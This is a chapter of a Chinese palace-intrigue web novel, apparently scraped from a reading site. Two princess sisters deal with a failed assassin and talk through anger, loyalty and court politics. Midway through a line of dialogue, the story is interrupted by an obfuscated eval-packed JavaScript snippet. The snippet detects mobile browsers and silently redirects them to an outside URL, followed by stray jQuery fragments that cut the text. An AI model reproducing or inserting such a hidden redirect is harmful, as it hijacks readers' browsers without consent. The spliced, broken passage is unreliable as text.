59. 女子武德

作品:《大人,您的亡妻在吃火锅

    温热的血从创口喷涌而出,像堵不住的龙头。


    屠笑尔捻了捻指尖,一片滑腻,散发着湿热又腥甜的气味。


    她在武将衣服下摆随意擦了擦手,又从他的怀里掏出一盒金创药来,撒在伤口上止血。武将已经晕过去了,仍然在昏迷中被药物刺激得闷哼一声。


    “他可不能死。”屠笑尔咬着牙,她抬眼看向屠谑云,目光里满是肃杀,“敢闯入公主府中行刺,可见你背后阻力有多大,姐姐,把他拖出去,好好挫一挫那些乱臣贼子的锐气,以儆效尤!”


    屠谑云掏了帕子,擦拭着妹妹脸颊上溅的血污,目光里满是心疼:“可有受伤?”


    “就他?还不至于。”


    屠笑尔扔开短刀,站起身来,一脚踢开没了意识的武将,对窗外唤人:“来人,扫一下屋里的垃圾。”


    屠谑云握住她的手腕,给她擦拭指尖。屠笑尔缩了缩手指,避开那块淡紫的丝帕:“别,太脏了。”


    “脏什么,你想这样举着爪子出门去吗?”屠谑云不顾妹妹的抗议,直接捉住她乱逃的手,用了几分力道,狠狠擦拭。


    屠笑尔悄悄抬眼望她,姐姐拧着细眉,神色看起来却并不凶。


    奇怪,她怎么感觉姐姐有些生气呢?


    屠笑尔任姐姐擦干净手上的血,惊醒的锦书端来一盆温水,她没等屠谑云开口,就主动地把手浸了进去。


    屠谑云的眉终于展开些许。


    屠笑尔察言观色十余年,迅速捕捉到了那一丝缓和的信号,小声问道:“姐姐,你生气了么。可行刺王储无论在什么地方都是谋逆的死罪,不诛他九族都算仁慈的,我也没下手杀他,这样的手段不算血腥吧?”


    屠谑云也把手放进水中,揉搓着污血,把屠笑尔的指尖手背搓得微微泛红才作罢。


    姐姐的语气带着几分后怕:“你就这么冲出去,也不喊我,太危险了。”


    屠谑云接过锦书递的干净帕子,擦了水,就去掐屠笑尔脸颊,嗔怪道:“要是你有个三长两短,可叫我怎么办?”


    没想到,姐姐关心的和她的猜测的压根不是一回事。


    她还以为是要训自己行事鲁莽,没曾想,姐姐满心都是担心她的安危。


    屠笑尔为自己小声辩解:“我在大姞待了那么多年也不是白混的,要是一个武将都对付不了,早就被无还栈烧成肥料去栽花了。”


    “无还栈的花肥都是人的骨灰?”屠谑云下意识问了一句,很快又回过神来,“我说的不是这个!秦阮身长九尺、力大如牛,就算功夫再厉害,也不能跟他硬抗啊!万一被他攥住胳膊腿儿,连脱身的余地都没有,到时候可怎么好!”


    鼻尖涌上微微的酸意,屠笑尔上前一步,把脸埋进姐姐的肩窝。


    肺腑间都是令人安心的香气,屠谑云给了她一个紧紧的拥抱,轻轻摇晃着,开口道:“你那么机灵,方才反应极快,抽刀护住了我,我怎么会怪你。只是这般行事太冒险了,姐姐只希望你,往后能少以身涉险,好好护着自己。”


    她顿了顿,声音轻了些:“哥哥已经没了,如今这世上,我就只剩你一个手足了。”


    屠笑尔偷偷在姐姐肩上擦了擦眼睛,声音闷闷的:“姐姐,你会觉得我脾气不好吗?我总是一时上头,愤怒之下行事不顾后果。以前师兄说我肝火太旺,今天气完这个,明天又恼那个,不应该总是动辄发脾气。那日连母后也被我吓到,紧紧拽着我的袖子,怕我一时冲动,提剑去砍蚩饕的人头。”


    屠笑尔叹出一口滚烫的热气,继而深深地吸了一口气。


    “可无论是取走他人性命还是潜行偷窃情报,没有愤怒来驱动,我就会畏手畏脚,无法前行。是不是因为我在大姞扮作男子太久了,所以总是容易动怒呢?”她喃喃着,声音越来越低,陷入迷茫。


    屠谑云用两只手捧起屠笑尔的脸,直视她的眼睛,认真道:“愤怒不是男子才能有的情感,妹妹,若是没有这样强烈的情绪支撑着你,或许你根本无法在大姞那样凶险的地方,顶着男子的身份撑那么多年。愤怒保护了你,不要觉得难过。”


    屠笑尔嗫嚅道:“可是……可是我总是觉得很生气。他们明明享受着你推行的治理之策,安稳度日,却偏偏不认同你你做他们的君王,这难道不令人生气吗?我每次看到他们对你不敬,听到他们背地里议论你、诋毁你,就恨不得扒了他们的皮,把他们全部做成骨架灯笼!”


    “哟,我妹妹手这么巧呢?”屠谑云笑道。


    “这样是不是很不好呀,我的冲动会给你带来麻烦吗?”


    “不会的。”屠谑云与她贴了贴额头,温热的气息交织在一起,她轻声道,“在我眼里,你很勇敢,想到什么就立马去做。其实你下手是有分寸的,不是吗?你没有当即杀了秦阮,留了他一命,就是为了让我在朝臣面前杀鸡儆猴。姐姐都懂。”


    在这样温柔的话语里,屠笑尔很难不落泪。


    她向来吃软不吃硬,被姐姐完全理解还反过来劝慰一番,她快要在姐姐掌心里化成一捧毛茸茸的线团。


    屠笑尔主动道:“姐姐,我以后会控制自己的脾气的。”


    谁知姐姐摇了摇头,纵容得没边:“不必改。愤怒并不是什么坏的品格,那只是一种情绪而已。它让你能直面那些不公与恶意,能果断地解决问题,这比起那些遇事退缩逃避,只会在暗中搞刺杀、耍阴招的人,好太多太多了。”


    眼眶里的泪终于落了下来,屠笑尔狼狈地想躲,却被姐姐捏着下巴擦去眼泪。


    “坦坦荡荡地愤怒,光明磊落地做事,就很好。没有关系的,不管你是什么样子,不管你做了什么,姐姐永远在你身后。”


    哇地一声,屠笑尔的眼泪决了堤。她猛地扑回屠谑云怀里,脸颊蹭着姐姐温热的衣襟,哭得不顾形象。


    这样沉甸甸又轻飘飘的感受就是幸福吗?


    被无条件地信任,被无保留地接受。


    这样的自由在等级森严、人心叵测,连至亲都可能因权力互相猜忌、彼此构陷的封建社会里,这样肆无忌惮做自己的自由,可谓是天大的幸运。


    上一次感到这样轻快的时刻还是在无还栈,虞无妄坚决贯彻用人不疑的理念,万事只要看到结果,就从不过问缘由。


    如今,姐姐给了她更踏实的保证。


    屠笑尔完全可以笃定,日后姐姐若是坐上皇位,定然不会像姞朔那般猜忌心腹、残害手足,更不会因权力凉薄了亲情。


    窗户传来一声响动,轻鸢翻身而入,坐在窗框上,神色揶揄:“什么人让我们妹妹哭得这么伤心呀?我去替你砍了他。”


    屠笑尔在外人面前要面子,强行憋气,好歹止住了哭声。


    屠谑云把哭得上气不接下气的屠笑尔圈在怀里,侧身挡住轻鸢的视线,对她笑道:“已经被她自己砍啦。好女侠,今日我妹妹需要休息,就麻烦你陪我去会会丞相吧。”


    “魏邕?那个老头子找你做什么。”轻鸢挑了挑眉,语气里满是不屑,“那个老谋深算的老头子,这时候找你能有什么好事。”


    说着,她往檐上吹了声口哨:“我给你带了两个武艺了得的小丫头,留在你殿内伺候着,给点月银打发就行。”


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162418|194973||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我会好好待她们的。”屠谑云道了谢,讲了原委:“以丞相为首的旧勋贵一直发难,联合几位宗室亲王联名上疏,也不是第一次要与我商讨禅让之事了。他是先帝时期的托孤大臣,曾暗中支持蚩饕篡位,如今手握实权。今日召我前去,怕是揣着逼宫的心思,想让我应下立他侄儿为太子的请求。”


    轻鸢抚掌大笑:“他就算再怎么兴师动众地逼宫,那传国玉玺不还稳稳攥在你手里?依我看,把这宝贝疙瘩塞给你妹妹保管,她机灵又能打,保管万无一失。难不成那老东西还能拿根萝卜刻个假章来糊弄人不成?”


    “朝堂之事哪有这么容易。”屠谑云无奈地轻笑,“若是单凭打打杀杀就能坐稳大权,那倒是省了不少周折。真正难的是要凭着道理收服人心,让天下百姓心甘情愿地追随拥戴。这才是君王最该做到的事啊。”


    “好吧好吧。”轻鸢点了头,“我当然要陪你去的,妹妹放心好了,你睡会吧,眼睛都红了。”


    屠笑尔拿帕子掩着脸,闷闷地点头。


    屠谑云往腰上缠了把软剑,手握一卷花名册,就去了御书房。


    她刚走没多久,一道黑影便身形轻巧地从檐上倒挂而下,脚尖一点廊柱,便稳稳落在方才轻鸢坐过的位置上。


    哑刃从怀里掏了壶茶,语气欠欠的:“小师妹,方才在墙外都听见你哭的动静了,我来看看热闹。”


    “滚啊!”屠笑尔企图费劲地翻个白眼,未遂。


    “哎,眼睛肿成这样就别做那种高难度动作了。”哑刃又取出两只碗,摆在窗棂上,熟门熟路地开始手搓奶茶,“你今天没跟着去御书房,真是亏大了,咱姐实在是帅炸了。”


    “怎么?”屠笑尔来了兴趣。


    “有个老头跳出来,替秦阮将军喊冤,说他不过是闯了趟公主寝殿,既没伤人也没成事,不该受宫刑这么重的罚。”


    “他倒是说得轻巧,都提着刀闯到内寝了,这还不足以说明他有多危险?”


    “是啊,总不能受了伤再来防卫。”哑刃笑得更欢了,“结果咱姐说,‘不如这样,本宫现在先把你脑袋砍了,你再还手如何?’”


    屠笑尔想象着那个画面,笑得鼻塞都通了气。


    哑刃把手肘搭上膝盖,继续道:“还有呢。另一个老头又说,女子无德,难承天命,摆明了挑衅。你猜咱姐怎么说?”


    “怎么说?”


    “咱姐瞥了他一眼,说‘要是钟尚书不服,大可去和我妹妹过两招,看看她有没有武德’哈哈哈哈哈哈哈!”


    狂笑了一阵,屠笑尔情绪缓和了不少:“他们就是想行一个拖字诀,耗着等蚩饕身体恢复,好借他的手反扑回来。”


    情况并不乐观,蚩饕平日里豢养的那些死忠护卫,如今把他护得密不透风,将人死死藏在深宫后院,戒备森严,每日名贵药材如流水般往里送。


    他的消息被封得严严实实,没人知道他此刻究竟醒没醒,恢复到了哪一步,更没人能预料,若是他真的缓过来,会掀起怎样的腥风血雨。


    屠笑尔又说:“要么是想拥立那个远在边境的宗室幼子做新君。”


    “边境?有多远?”


    “都快到你家犬戎部了。”


    “怪不得呢。”哑刃恍然大悟,“这很合理呀,犬戎那边常年九子夺嫡,打得头破血流,夺不过的就来玄黎,这里竞争压力小多了,报录比都高了几倍。”


    屠笑尔闷了口奶茶,无语道:“还报录比,你以为考公呢?”


    哑刃笑着,正待接话,他神色一凝,侧耳听着风声:“不对,有动静……宫外被兵马围住了。”